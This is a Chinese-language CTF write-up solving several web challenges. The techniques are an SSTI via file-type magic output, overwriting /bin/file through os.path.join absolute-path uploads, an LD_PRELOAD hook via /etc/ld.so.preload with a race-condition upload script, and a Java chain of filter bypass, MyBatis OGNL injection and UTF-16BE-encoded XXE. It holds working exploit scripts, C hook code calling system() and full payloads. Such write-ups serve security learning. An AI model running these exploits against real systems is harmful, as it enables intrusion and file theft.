给了源码,审计下
发现这里对 /bin/file
命令执行后的结果使用了 render_template_string
函数进行了渲染,存在ssti
现在是如何让 /bin/file -b
检验出的文件类型结果是我们可以字定义的字符串。
github上找到了 file
命令的源码,然后也简单了解了下 file
命令对应的magic文件。刚开始想歪了,因为可以跨目录上传文件,然后就想着向 $HOME/
目录下上传一个自定义的 magic
文件来实现目的,但其实走偏了。
源码里的 magic/tests
目录下是大量的测试文件,批量测试下发现可以这样插入我们想要的字符串 (其实简单阅读下他这个magic文件也可以发现有很多文件类型都可以达到这样的目的,magic文件了对应有 %s
输出的。)
拓展阅读(题外话):
https://blog.csdn.net/sin90lzc/article/details/8575022
https://www.cnblogs.com/ddk3000/p/5051094.html
那么SSTI然后RCE
和上一题不一样的地方
将 render_template_string
函数换成了 render_template
,没办法SSTI了。
这里我当时确实不知道这个点,重点在 os.path.join
这个函数
官方文档 中说到
os.path.join(path, *paths) 智能地拼接一个或多个路径部分。 返回值是 path 和 *paths 的所有成员的拼接,其中每个非空部分后面都紧跟一个目录分隔符,最后一个部分除外,这意味着如果最后一个部分为空,则结果将以分隔符结尾。 如果某个部分为绝对路径,则之前的所有部分会被丢弃并从绝对路径部分开始继续拼接。 在 Windows 上,遇到绝对路径部分(例如
r'\foo'
)时,不会重置盘符。如果某部分路径包含盘符,则会丢弃所有先前的部分,并重置盘符。请注意,由于每个驱动器都有一个“当前目录”,所以os.path.join("c:", "foo")
表示驱动器C:
上当前目录的相对路径 (c:foo
),而不是c:\foo
。
注意这里 如果某个部分为绝对路径,则之前的所有部分会被丢弃并从绝对路径部分开始继续拼接。
那么如果我么上传的文件名是绝对路径的话,前面的部分丢弃,直接就是我绝对路径的结果
而这里的逻辑
文件名不存在 ..
所以可以成功覆盖 /bin/file
文件。
注意:这里上传可执行的二进制文件,不然 (也可能是我这边的问题)后来发现是bp的问题,在bp里要把多余的 subprocess.check_output
是没法执行的\r
去掉才行。。
#include <stdlib.h>
int main() {
system("cat /flag");
return 0;
}
linux下编译,然后上传执行拿到flag
这里有坑,以后上传二进制文件不要用 burp suite 做代理,会损坏二进制文件的(可能是我bp有问题吧)
import requests
url = "http://159.138.110.192:23002/"
with open("./shell", "rb") as f:
file = {"file-upload": ("/bin/file", f)}
res = requests.post(url, files=file)
print(res.text)
和plus不一样的地方
这里没法像上一个那样覆盖 /bin/file
了。
然后没啥思路,赛后复现
strace
命令查看系统调用。这题看上去确实没啥漏洞利用点,所以这个 /bin/file
的可执行文件应该有古怪的,分析这个要么找源码分析,要么用 strace
命令看看它有那些系统调用,也许调用了某个动态链接库的函数,从而上传有关动态链接库来达到目的。
/etc/ld.so.preload
(默认配置文件)参考文章 https://payloads.online/archivers/2020-01-01/1/
https://h0mbre.github.io/Learn-C-By-Creating-A-Rootkit/
通过LD_PRELOAD环境变量,能够轻易的加载一个动态链接库。通过这个动态库劫持系统API函数,每次调用都会执行植入的代码。 Linux操作系统的动态链接库在加载过程中,动态链接器会先读取LD_PRELOAD环境变量和 默认配置文件/etc/ld.so.preload ,并将读取到的动态链接库文件进行预加载,即使程序不依赖这些动态链接库,LD_PRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被装载,因为它们的优先级比LD_LIBRARY_PATH环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入。 通过LD_PRELOAD环境变量,能够轻易的加载一个动态链接库。通过这个动态库劫持系统API函数,每次调用都会执行植入的代码。 dlsym是一个计算机函数,功能是根据动态链接库操作句柄与符号,返回符号对应的地址,不但可以获取函数地址,也可以获取变量地址 劫持 whoami
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>
int puts(const char *message) {
int (*new_puts)(const char *message);
int result;
new_puts = dlsym(RTLD_NEXT, "puts");
// do some thing …
// 这里是puts调用之前
result = new_puts(message);
// 这里是puts调用之后
return result;
}
例如我们要劫持 whoami
命令
strace /bin/whoami
发现确实会加载 /etc/ld.so.preload
配置文件来加载动态链接库
上传配置文件 /etc/ld.so.preload :
/tmp/poc.so
由于 whoami
底层会调用 puts
函数输出,可以劫持这个函数
hook.c :
#include <stdio.h>
#include <stdlib.h>
int puts(const char *message) {
printf("hack you!!!");
system("id");
return 0;
}
编译
gcc hook.c -o hook.so -fPIC -shared -ldl -D_GNU_SOURCE
将 poc.so
上传至 /tmp/poc.so
执行 whoami
命令
成功劫持 whoami
命令
这题也是同样的道理,/etc/ld.so.preload
文件默认是没有的,先查看下 /bin/file
是否会加载 /etc/ld.so.preload
配置文件
strace /bin/file
可以看到确实是这样的。
在找找 /bin/file
这个可执行文件可以劫持哪些函数
直接看源码 https://github.com/file/file
file.c 中的main
函数中随便找个函数劫持就行,这里找的是 magic_version()
,没有参数,方便
hook.c :
#include <stdlib.h>
void magic_version() {
system("cat /flag");
}
编译
gcc hook.c -o hook.so -fPIC -shared -ldl -D_GNU_SOURCE
然后就上传 /etc/ld.so.preload
(内容:/tmp/hook.so
) 和 /tmp/hook.so
本地测试成功劫持
本题由于上传的两个文件保存后会被删除,所以还要条件竞争下。
exp :
import requests
import threading
import re
url = "http://140.210.199.170:33001/"
def upload1():
file = {"file-upload": ("/etc/ld.so.preload", open("./ld.so.preload", "r"))}
res = requests.post(url, files=file)
print(re.findall("<h3>(.*)</h3>", res.text, re.S)[0])
def upload2():
file = {"file-upload": ("/tmp/hook.so", open("./hook.so", "rb"))}
res = requests.post(url, files=file)
print(re.findall("<h3>(.*)</h3>", res.text, re.S)[0])
if __name__ == "__main__":
for i in range(100):
threading.Thread(target=upload1).start()
threading.Thread(target=upload2).start()
这里我用bp尝试条件竞争上传,失败了,我的burp果然是有问题的,上传不了二进制文件。
java题,当时做的时候卡在了 OGNL 表达式注入上了。
为了方便调试我把源码搬过来又重新构建了项目
过滤器这里没什么好说的,直接 /index;.ico
绕过就行,具体原理我以前分析过,可参考 https://pankas.top/2022/11/18/springboot%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%AD%A6%E4%B9%A0-%E8%80%81%E7%89%88newbeemall%E5%AE%A1%E8%AE%A1/#%E8%B6%8A%E6%9D%83
然后是SQL注入这里,这里直接ban掉了 '
,似乎没啥办法,但注意到项目使用了 mybatis 框架
mybatis是支持 OGNL 表达式的,有关 OGNL 表达式语法参考 https://cloud.tencent.com/developer/article/1554322
所以这里存在 OGNL 表达式注入
利用
${@java.lang.Character@toString(39)}
绕过即可
然后是XXE读文件,这里有waf
public static boolean check(byte[] poc) throws Exception {
String str = new String(poc);
String[] blacklist = new String[]{"!DOCTYPE", new String(new byte[]{-2, -1}), new String(new byte[]{-1, -2})};
String[] var3 = blacklist;
int var4 = blacklist.length;
for(int var5 = 0; var5 < var4; ++var5) {
String black = var3[var5];
if (str.indexOf(black) != -1) {
System.out.println("not allow");
return false;
}
}
return true;
}
参考 https://lab.wallarm.com/xxe-that-can-bypass-waf-protection-98f679452ce0/
An XML document can be encoded not only in UTF-8, but also in UTF-16 (two variants — BE and LE), in UTF-32 (four variants — BE, LE, 2143, 3412), and in EBCDIC. With the help of such encodings, it is easy to bypass a WAF using regular expressions since, in this type of WAF, regular expressions are often configured only for a one-character set.
可利用 UTF-16BE
编码绕过
后续利用反射继 续 将 解 析 出 来 的 字 节 数 组 使 用 ByteArrayInputStream
转 换 为 输 入 流 , 然 后 使 用 org.xml.sax.InputSource
转换为 xml 可识别的格式。
简单分析下反射这部分逻辑(正好复习下反射):
就直接写到注释里了
public static String xxe(String b64poc, String type, String[] classes) throws Exception {
String res = "";
byte[] bytepoc = Base64.getDecoder().decode(b64poc);//获取到的是字节数组
if (check(bytepoc)) {//要绕过 check 的waf检测,可利用UTF-16编码绕过
//创建XML文档对象
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder();
InputSource inputSource = null;
Object wrappoc = null;
//利用反射获取一个我们自定义的构造器,需要一个 ByteArrayInputStream 的对象
//classes[0] 应为 java.io.ByteArrayInputStream , classes[1] 应为 byte数组类型的类名 B[
Constructor constructor = Class.forName(classes[0]).getDeclaredConstructor(Class.forName(classes[1]));
if (type.equals("string")) {
String stringpoc = new String(bytepoc);
wrappoc = constructor.newInstance(stringpoc);
} else {
wrappoc = constructor.newInstance(bytepoc);//要获得 ByteArrayInputStream 对象
}
//获得一个InputSource的构造器 classes[2] 为 org.xml.sax.InputSource,该构造器参数为抽象类 InputStream
//classes[3] 为 抽象类InputStream 的子类 ByteArrayInputStream
inputSource = (InputSource)Class.forName(classes[2]).getDeclaredConstructor(Class.forName(classes[3])).newInstance(wrappoc);
Document doc = builder.parse(inputSource);
NodeList nodes = doc.getChildNodes();
for(int i = 0; i < nodes.getLength(); ++i) {
if (nodes.item(i).getNodeType() == 1) {
res = res + nodes.item(i).getTextContent();
System.out.println(nodes.item(i).getTextContent());
}
}
}
return res;
}
exp :
import java.nio.charset.StandardCharsets;
import java.util.Base64;
public class Exp {
public static void main(String[] args) throws Exception{
String poc = "<?xml version=\"1.0\"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM \"file:///flag\">]><abc>&xxe;</abc>";
byte[] pocBytes = poc.getBytes(StandardCharsets.UTF_16BE);
String encodedPoc = Base64.getEncoder().encodeToString(pocBytes);
System.out.println(encodedPoc);
}
}
payload :
/index;.ico?password=a${@java.lang.Character@toString(39)}) OR 1#&poc=ADwAPwB4AG0AbAAgAHYAZQByAHMAaQBvAG4APQAiADEALgAwACIAPwA+ADwAIQBEAE8AQwBUAFkAUABFACAAQQBOAFkAIABbADwAIQBFAE4AVABJAFQAWQAgAHgAeABlACAAUwBZAFMAVABFAE0AIAAiAGYAaQBsAGUAOgAvAC8ALwBmAGwAYQBnACIAPgBdAD4APABhAGIAYwA+ACYAeAB4AGUAOwA8AC8AYQBiAGMAPg==
&type=aaa&yourclasses=java.io.ByteArrayInputStream,[B,org.xml.sax.InputSource,java.io.InputStream
url编码下发送
/index;.ico?password=a%24%7B%40java.lang.Character%40toString(39)%7D)%20OR%201%23&poc=ADwAPwB4AG0AbAAgAHYAZQByAHMAaQBvAG4APQAiADEALgAwACIAPwA%2BADwAIQBEAE8AQwBUAFkAUABFACAAQQBOAFkAIABbADwAIQBFAE4AVABJAFQAWQAgAHgAeABlACAAUwBZAFMAVABFAE0AIAAiAGYAaQBsAGUAOgAvAC8ALwBmAGwAYQBnACIAPgBdAD4APABhAGIAYwA%2BACYAeAB4AGUAOwA8AC8AYQBiAGMAPg%3D%3D
&type=aaa&yourclasses=java.io.ByteArrayInputStream%2C%5BB%2Corg.xml.sax.InputSource%2Cjava.io.InputStream
还有上面反射调用的那个 B[
是 byte[]
的类名,这里记录下